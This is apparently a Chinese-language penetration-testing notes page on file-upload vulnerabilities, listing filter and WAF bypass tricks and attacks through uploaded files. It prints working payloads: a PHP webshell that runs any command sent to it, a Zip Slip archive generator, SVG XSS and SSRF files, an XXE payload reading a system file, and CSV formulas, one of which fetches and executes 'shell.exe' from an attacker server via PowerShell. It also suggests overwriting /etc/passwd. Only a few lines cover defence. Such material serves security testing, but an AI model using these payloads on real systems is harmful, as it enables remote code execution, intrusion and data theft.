Skip to main content

文件上传

介绍

文件上传漏洞的本质是因为服务端对于用户上传的文件没有验证其文件名称、文件类型、文件内容、文件大小而导致的漏洞的情况.

  • 文件大小 : 上传大文件, 形成一种 DDOS 攻击
  • 文件名称 : 覆盖网站同名文件
  • 文件内容 : 上传一些特殊的脚本内容
  • 文件类型 : 上传一些特殊的脚本文件以及一些配置文件

Exploit

不同类型的文件在文件上传中可以实现的目标
  • XML : XXE
  • CSV : CSV注入
  • AVI : LFI / SSF
  • GIF : 存储的XSS / SSRF
  • ZIP:通过LFI的RCE / DoS
  • SVG : 存储的XSS / SSRF / XXE
  • ASP / PHP / JSP : Webshell / RCE
  • HTML / JS : HTML注入 / XSS / 打开重定向
  • PNG / JPEG : 像素泛滥攻击(DoS)。
  • pdf / pptx : SSRF / blind xxe / Stored XSS

20240526160049

大致的思路可以划分为如下几步:

  1. 前端验证 : 前端的 JS 脚本验证文件的后缀 (禁用 JS 或者抓包)
  2. HPP 参数污染: 传递多个文件名 filename=1.png; filename=1.jsp
  3. 修改 HTTP-Header 的 Content-Type : 有时候服务端可能会根据我们的 Content-Type 类型来验证上传的文件类型 content-type.txt
  4. 文件幻数 : 服务端可能会根据文件幻数来检测对应的文件类型 (修改文件幻数)
  5. 文件后缀 : 服务端根据后缀名来判断文件类型
  6. 中间件的配置文件 :
    1. .htaccess : 只能用于 PHP
    2. .config : 只能用于 ASP

文件后缀

  1. 可以考虑使用扩展文件后缀进行操作
    .yaws
  2. 大小写/双写/混写文件后缀
    file.php
    file.PhpHpp
  3. 加点/空字节/换行符/#
    ../file.php
    file.php.
    file.php%00
    file.php%00.jpg
    file.php%0a.jpg
    file.php\n.jpg
    file.php
    .jpg
    file.php#.jpg
  4. 多重扩展名
    .php.jpg
    .jpg.php
  5. 对点、正斜杠和反斜杠使用 URL 编码(或双重 URL 编码)
    file%2Ephp
  6. 利用文件长度限制 : 当文件名过长时, 服务端会忽略超过部分的字符
    # Linux maximum 255 bytes
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
    # Upload the file and check response how many characters it alllows. Let's say 236
    python -c 'print "A" * 232'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    # Make the payload
    AAA<--SNIP 232 A-->AAA.php.png
  7. 扩展手段
    filename===="shell.jspx.jsp1"(加等号)
    filename=\u0073\u0068\u0065\u006c\u006c\u002e\u006a\u0073\u0070 # 文件名字编码(filename一般为后端接收参数,编码了可能识别不到,这个就看情况)
  8. 上传其他后缀文件, 比如 exe
  9. 上传中间件的配置文件或者同名文件进行覆盖操作

HTTP Header

  1. Content-Disposition 的魔改
    Content-Disposition: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa form-data; name="file"; filename=shell.jpg;filename=shell.jspx; # 溢出绕过

    Content-Disposition:
    form-data; name="file"; filename=shell.jpg;filename=shell.jspx; # 回车换行绕过(注意不要把固定字段打散了,)

    # 双写绕过(写两次)
    Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx;
    Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx.jpg;
  2. 修改 Content-Type 类型
  3. 修改 Accept-Encoding 类型
  4. 分块传输
  5. 修改长度字段: 和分块传输有点类似,作用是这样,有些时候做参数大数据污染的时候,waf判断数据过长直接丢弃,有些判断长度和内容相差太多也直接丢弃。这时候可以把两者结合起来使用,达到超长数据绕过waf的检测,同时数据送到了后端

PUT 文件上传

一些服务端可能只会验证使用 POST 上传的文件, 而忽略 PUT 上传的文件, 因此我们可以修改上传方法

多文件上传

当我们上传多个文件是, 服务端可能只会验证第一个文件, 而忽略第二个文件, 这时候第二个文件就会绕过检测成功上传

压缩文件上传

  • 要求 : 需要上传的文件会被解压或者进行其他处理操作
  1. 上传的压缩文件可以被自动解压处理, 典型的比如 Wordpres 的插件文件上传漏洞

  2. 如果上传的压缩文件可以自动处理,而且为 zip 压缩文件时, 可能会存在 Zip Slip 目录遍历漏洞, 恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对压缩包内部的文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行(也可能是覆盖配置文件或其他敏感文件)。

    原理分析
    1. 创建一个 PHP 的 WebShell, 比如下面这样
      <?php 
      if(isset($_REQUEST['cmd'])){
      $cmd = ($_REQUEST['cmd']);
      system($cmd);
      }?>
    2. 使用 "file spraying "并创建一个压缩的压缩文件:
      root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
      root@s2crew:/tmp# ls *.php
      simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
      xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
      xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
      root@s2crew:/tmp# zip cmd.zip xx*.php
      adding: xxAcmd.php (deflated 40%)
      adding: xxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
      adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
      root@s2crew:/tmp#
    3. 使用 hexeditorvi,将 "xxA "改为".../",我用的是vi:
      :set modifiable
      :%s/xxA/..\//g
      :x!

    只剩下一个步骤了: 上传ZIP文件,并让应用程序解压! 如果它成功了,而且网络服务器有足够的权限写入目录,那么系统上就会有一个简单的操作系统命令执行外壳

    本质 : 没有对压缩包中的文件名进行合法性校验,直接将文件名拼接到待解压目录中,导致存在路径遍历风险

    举例 : 若解压目录为/webapp/web/,给文件命名为:../../var/www/html/1.php并压缩,那么文件解压后,通过直接拼接文件名为/webapp/web/../../var/www/html/1.php,因此最终就会存放到/var/www/html/1.php中,如果能访问并解析,那么就能成功代码执行。

    利用 :

    • zip-slip-vulnerability 这个仓库包含了有关此攻击的所有信息,例如受影响的库、项目和其他相关信息。
    • evilarc : 自动化工具
    import zipfile
    # the name of the zip file to generate
    zf = zipfile.ZipFile('out.zip', 'w')
    # the name of the malicious file that will overwrite the origial file (must exist on disk)
    fname = 'zip_slip.txt'
    #destination path of the file
    zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/zip_slip.aaa')

    20240526223337

二次渲染

  1. 二次渲染的工具可能存在RCE等漏洞,如 ImageMagick
  2. 通过十六进制寻找二次渲染后内容未改变的部分,再在其中插入代码,一般在exif数据中

符号链接

上传包含指向其他文件的软链接的链接,然后,访问解压后的文件,您将访问链接的文件:

$ ln -s ../../../index.php symindex.txt
$ zip --symlinks test.zip symindex.txt
$ tar -cvf test.tar symindex.txt

wget 文件上传

在一些情况下, 我们会发现服务器使用 wget 进行文件下载, 并且我们可以指定 URL, 通常来说这种方式服务器往往会校验下载的文件扩展名是否在白名单中, 以确保只下载允许的文件, 然而这种检查是可以绕过的

在Linux中,文件名的最大长度为255个字符,但是wget会将文件名截断为236个字符。此时我们可以下载一个名为 "A"*232+".php"+".gif" 的文件,这个文件名将绕过检查(在这个示例中 ".gif" 是一个有效的扩展名),但是wget会将文件重命名为 "A"*232+".php"

在这种情况下,使用wget下载的文件将具有 .php 扩展名,而不是 .gif,因此可以绕过扩展名白名单的检查

root@ip-10-10-77-221:~/opacity# echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".jpg")')
root@ip-10-10-77-221:~/opacity# ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.jpg

如果服务端使用 wget 下载我们的文件, 会将文件名保存为 "A"*232+".php"

Polyglot Files

在安全方面,"Polyglot Files "是指具有多种不同文件类型的有效形式的文件。例如,GIFAR既是一个GIF,也是一个RAR文件。还有一些文件既可以是GIF也可以是JS,既是PPT也是JS,等等。 多语言文件经常被用来绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,如JPEG、GIF、DOC,以防止用户上传潜在的危险文件,如JS文件、PHP文件或Phar文件。 这有助于上传一个符合几种不同格式的文件。它可以让你上传一个PHAR文件(PHp ARchive),看起来也像JPEG,但可能你仍然需要一个有效的扩展名,如果上传功能不允许,这将不会帮助你。

联合

  • 目录遍历 : 如果上传文件位置存在目录遍历漏洞, 可以尝试上传 ../../../../tmp/lol.png 文件
  • SQL 注入 : 将文件名设置为 sleep(10)-- -.jpg
  • 命令注入 : 设置文件名为 ; sleep 10; ; 重命名漏洞
  • 文件包含 : 上传 WebShell
  • SSRF : 如果可以指示 web 服务器从指定 URL 位置处捕获图像,我们可以尝试 SSRF 漏洞
  • XXE : 外部 XML 实体注入漏洞

防御

  • 白名单现在上传的文件后缀
  • 设置文件上传的大小
  • 文件名重命名 : 上传的文件使用其时间戳来进行重命名 (会存在文件竞争的攻击手法)
  • 文件内容过滤 : 检测上传的所有文件内容

ByPass

常规思路

总的来说, 对于文件上传的 ByPass 手段, 可以从最简单的文件类型以及文件内容来进行分析, 因此可以从下面步骤来进行分析:

  1. 传脚本后缀(被拦截,判断了后缀)
  2. 传脚本后缀加不免杀代码(被拦截,可能后缀内容同时拦截)
  3. 传非脚本名(可自己fuzz一个能过waf的任意后缀,里面加恶意内容,被拦截。也就是说同时会对内容和后缀进行判断)

具体的分析可以看下面及部分内容分析

  1. FUZZ 后缀名 : 中间件解析、扩展类型等等
  2. 文件后缀构造 : 利用 WAF 的截取特征进行改造. 比如回车换行绕过waf的检测,但是对于后端来说接收了所有的传入数据,导致了绕过waf。

HTTP 参数修改

对于目标站点存在 WAF 这类内容, 其判断是否存在攻击的根本是在做规则匹配, 因此对于 HTTP 参数的修改主要针对的就是绕过 WAF 规则的匹配

  1. 基于正则匹配的绕过(也就是参数污染,正则破坏等上面的方法,打乱waf的检测)
  2. 基于正则匹配的缺失(类似于修改请求等,让waf根本不去检测这部分的内容)
  3. 基于操作系统的特性(类似于后缀名加特殊符号让操作系统进行识别)
tip

我们做一切的前提都是既绕过了waf,也能让后端识别,所以可以乱来,不要太乱。基本也就是污染,多写,绕过,添加删除几个方向。

  1. HTTP Header 变量改造 : 首先明确waf的检测特征,一般是基于某种特定的情况下,去针对相应的拦截。几个例子,文件上传的时候,大多数Content-Type都是application/multipart-formdata 这种,name对于waf来说,如果针对这种规则,对xxe ,sql注入,上传,命令执行,内容等所有都去做一波扫描是及其浪费内存的,所以有可能针对不同的类型,做了不同的校验规则。此时通过对 Content-Type 进行修改,可能会绕过waf。其他的http头添加删除等也是类似。

    溢出绕过
    Content-Disposition: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa form-data; name="file"; filename=shell.jpg;filename=shell.jspx;

    回车换行绕过(注意不要把固定字段打散了,)
    Content-Disposition:
    form-data; name="file"; filename=shell.jpg;filename=shell.jspx;

    双写绕过(写两次)
    Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx;
    Content-Disposition: form-data; name="file"; filename=shell.jpg;filename=shell.jspx.jpg;
    还有一些参数污染加减空格啥的,和上面filename类似,就不重复写了。
  2. HPP 参数污染

    filename='shell.jspx.jsp'
    filename=shell.jspx.jsp
    filename=shell.jspx.jsp'
    "filename"=shell.jspx;
  3. 修改请求方式

  4. Host 头部绕过 : 伪造请求来源

  5. 修改编码类型 Accept-Encoding

    Accept-Encoding: gzip
    Accept-Encoding: compress
    Accept-Encoding: deflate
    Accept-Encoding: br
    Accept-Encoding: identity
    Accept-Encoding: *

迂回攻击

  1. 免杀马 : 如果只是针对内容做了检测可以考虑搞个免杀马
  2. 分块传输 :
  3. 修改长度字段 : 和分块参数有点类似,作用是这样,有些时候做参数大数据污染的时候,waf判断数据过长直接丢弃,有些判断长度和内容相差太多也直接丢弃。这时候可以把两者结合起来使用,达到超长数据绕过waf的检测,同时数据送到了后端
  4. 基于网站系统特性添加字段 : 比如ASP专属bypass-devcap-charset,添加这些字段去绕过waf的检测
  5. 修改头部+内容结合 : 修改头部为其他格式,再把内容头加其他格式,例如图片,中间插入恶意代码,类似图片马
  6. 增加多个boundary
  7. 文件名写入文件 : windows下利用多个 <<<< 去写入文件

文件上传攻击面

  • 直接上传 WebShell
  • 上传压缩包

上传 HTML 或 SVG

允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF(很难利用),因为核心还是js代码可控

  • 上传 HTML 造成 XSS: 这个就比较简单了, 没有什么说的

  • SVG 文件造成 XSS

    SVG 造成 XSS
    1. 创建一个恶意的svg文件,输入如下内容:
      <?xml version="1.0" standalone="no"?>
      <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
      <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
      <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
      <script type="text/javascript">
      alert(document.domain);
      </script>
      </svg>
    2. 上传文件并访问 20240526221856

    如果目标存在导出功能,如给svg导出为pdf这种功能,那么可能存在SSRF

    <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <image height="30" width="30"xlink:href="https://controlledserver.com/pic.svg" />
    </svg>

    可尝试使用其他协议更直观的查看,如file://

上传 CSV

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行。

CSV Payload
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路:

  1. 上传恶意的CSV文件
  2. 下载恶意的CSV文件
  3. 观察下载后的CSV文件是否对等号=等特殊符号做了处理,payload会否会成功执行,如果能则说明存在问题

允许上传XML格式文件并解析

如果允许上传XML格式文件,如docx、xlsx、svg等本质是xml的文件,且后端会对上传的文件进行解析,那么可能存在XXE

以恶意svg为例,一般尝试OOB外带注入的方式来判断最快

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

恶意的XXE文档生成:docm

允许上传 PDF

可能存在PDF XSS和任意URL跳转,但是由于属于浏览器层面的漏洞,所以厂商大概率不认可。

  • 使用工具生成 : PayloadsAllThePDFs
  • 参考网上教程, 用迅捷PDF编辑器去操作,效果都一样

允许上传大文件

文件上传的时候,服务端通常会对上传的文件进行大小限制,范围一般为5MB-200 MB,甚至更小/更大,具体取决于应用程序逻辑。但是如果未限制文件大小或不存在相关的验证检查,那么攻击者可能会上传相对较大的文件,造成大量资源消耗,从而可能导致拒绝服务。

检查思路:

  1. 创建一个超大的图片文件,如500M的png,并上传图片
  2. 新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

像素洪水攻击

任意可以上传图片的地方都可以进行测试;在 Pixel Flood Attack 中,攻击者尝试上传具有大像素的文件(64250x64250像素),一些应用会使用第三方组件/库对图像进行缩小处理,以节省存储空间和处理能力,但是这些第三方库在处理的时候,会将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而消耗服务器资源,导致应用最终崩溃宕机。

检查思路:

  1. Resizepixel 64250x64250,上传图片(现在好像不行了,所以我找了个直接能用的 pixel_flood_lottapixel.jpg
  2. 新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

对图片进行二次渲染

若服务端使用存在漏洞的组件对上传图片进行二次渲染等操作,那么也可以尝试RCE,如ImageMagick

不会对上传文件重命名

一些网站配置不当,或者开发安全意识不严谨,将用户上传的文件直接按原名存储到服务器中,那么我们就可以尝试将文件名添加回溯符../,以上传文件到任意目录,甚至覆盖文件,达到getshell或者破坏系统的目的。

tip

在windows中由于部分符号不能作为文件名,如果我们将文件名设置为带有这些特殊符号的内容,那么可能让服务器抛出异常

较少的情况下,可以控制上传的目录名,也可以通过路径遍历的方法上传到任意目录中。

如将文件名设置为../../../../etc/passwd,然后上传对应的内容,那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件,如robots.txt

服务端的注入

服务端可能对上传的文件名进行各种处理,如展示到页面、存储到数据库等,因此可能存在各种各样的注入,如XSS、SQLI等

如上传文件名为test.png,那么我们可以设置变量为§test§.png,然后fuzz一下各种注入的payload,如sleep(10)-- -.png<h1>test<h1>.png${2*3} 等

元数据泄漏

元数据是照片背后的故事,它告诉我们图像文件是如何创建的,在哪里和何时创建的。它还描述了照片的内容,确定了摄影师,并向您展示了图像在后期处理中是如何编辑的。简单地说,假设您使用数码相机单击了一张图片,当该图像被处理并保存在存储设备上时,一些属性被添加到文件中,例如作者、位置、设备信息和其他适用于描述图像信息的信息。

如果服务端对用户上传的图片未进行处理就直接展示,那么将可能会导致源数据泄漏;通常情况下,元数据中包含GPS地址、设备信息等,会被当作低危。

检查方法:

  1. 在头像上传等图片可以被枚举的功能点上传包含有exif敏感信息的图片,没有的话可以用手机现拍
  2. 下载刚才上传的图片(如果用下面的在线平台这一步可以省略)
  3. 使用 exiftool 去分析数据

工具

参考